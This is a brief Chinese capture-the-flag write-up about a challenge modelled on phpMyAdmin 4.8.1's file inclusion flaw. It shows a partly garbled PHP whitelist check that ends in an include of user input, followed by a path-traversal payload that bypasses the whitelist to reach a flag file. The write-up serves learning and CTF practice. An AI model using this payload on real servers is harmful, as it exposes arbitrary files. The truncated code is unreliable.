BCNSCTF writeup

摘要：这个题目原型是的任意文件包含漏洞发现源码不为空是字符串上面定义的方法返回值为真

[toc]

这个题目原型是phpmyadmin4.8.1的任意文件包含漏洞
发现源码

</>复制代码 
 "source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can"t see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . "?", "?")
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . "?", "?")
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can"t see it";
            return false;
        }
    }
    if (! empty($_REQUEST["file"]) 不为空
        && is_string($_REQUEST["file"]) 是字符串
        && emmm::checkFile($_REQUEST["file"]) 上面定义的checkfile方法返回值为真
    ) {
        include $_REQUEST["file"];
        exit;
    } else {
        echo "
";
    }  
?> 

payloadhint.php?/../../../../../ffffllllaaaagggg